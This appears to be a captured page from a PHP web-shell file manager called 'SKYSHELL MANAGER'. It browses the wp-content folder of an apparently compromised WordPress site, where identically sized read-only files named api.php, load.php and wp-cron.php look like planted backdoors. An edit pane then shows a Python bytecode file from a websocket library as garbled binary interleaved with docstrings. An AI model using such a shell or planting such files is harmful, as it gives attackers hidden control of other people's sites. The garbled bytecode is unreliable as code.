📁
SKYSHELL MANAGER
PHP v8.3.6
Create
Create
Path:
root
/
var
/
www
/
voigtlaborg
/
wp-content
/
Name
Size
Perm
Actions
📁
themes
-
0755
🗑️
🏷️
🔒
📄
api.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
goods.php
173.77 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
load.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-cron.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: _core.cpython-312.pyc
� �keSQ � � � d dl Z d dlZd dlZd dlZd dlmZmZ ddl� ddl� ddl � ddl � ddl� ddl� ddl � ddl� ddgZ G d� d� Zdefdefd �Zy) � N)�Optional�Union� )�*� WebSocket�create_connectionc �& � e Zd ZdZ d/dededefd�Zd� Zd� Zd � Zd � Z d� Z deee df fd �Zdeee df fd�Z eee� Zd� Z ee� Zd� Z ee� Zd� Zd� Z ee� Zd� Zej6 fdeeef de de fd�Zdede fd�Zdeee f de fd�Z!de fd�Z"dede fd�Z#d0deeef fd�Z$d0deeef fd�Z%deeef fd �Z&d1d!ede'fd"�Z(d1d!ede'fd#�Z)d$� Z*e+d%fd&e d'efd(�Z,e+d%d)fd&e d'ede fd*�Z-d+� Z.d,� Z/deeef fd-�Z0d.� Z1y)2r a� Low level WebSocket interface. This class is based on the WebSocket protocol `draft-hixie-thewebsocketprotocol-76 <http://tools.ietf.org/html/draft-hixie-thewebsocketprotocol-76>`_ We can connect to the websocket server and send/receive data. The following example is an echo client. >>> import websocket >>> ws = websocket.WebSocket() >>> ws.connect("ws://echo.websocket.events") >>> ws.recv() 'echo.websocket.events sponsored by Lob.com' >>> ws.send("Hello, Server") 19 >>> ws.recv() 'Hello, Server' >>> ws.close() Parameters ---------- get_mask_key: func A callable function to get new mask keys, see the WebSocket.set_mask_key's docstring for more information. sockopt: tuple Values for socket.setsockopt. sockopt must be tuple and each element is argument of sock.setsockopt. sslopt: dict Optional dict object for ssl socket options. See FAQ for details. fire_cont_frame: bool Fire recv event for each cont frame. Default is False. enable_multithread: bool If set to True, lock send method. skip_utf8_validation: bool Skip utf8 validation. N�fire_cont_frame�enable_multithread�skip_utf8_validationc �\ � t ||� | _ d| _ d| _ d| _ || _ t | j |� | _ t ||� | _ |r3t j � | _ t j � | _ yt � | _ t � | _ y)z� Initialize WebSocket object. Parameters ---------- sslopt: dict Optional dict object for ssl socket options. See FAQ for details. NF)�sock_opt�handshake_response�sock� connected�get_mask_key�frame_buffer�_recv�continuous_frame� cont_frame� threading�Lock�lock�readlock�NoLock)�selfr �sockopt�ssloptr r r �_s �1/usr/lib/python3/dist-packages/websocket/_core.py�__init__zWebSocket.__init__M s� � �$ !��&�1�� �"&���-1�� ����(���(����5I�J���*�?�<P�Q����!���(�D�I�%�N�N�,�D�M���D�I�"�H�D�M� c # �2 K � | j � �� ��w)zX Allow iteration over websocket, implying sequential `recv` executions. ��recv�r s r �__iter__zWebSocket.__iter__p s � �� � ��)�)�+�� �s �c �"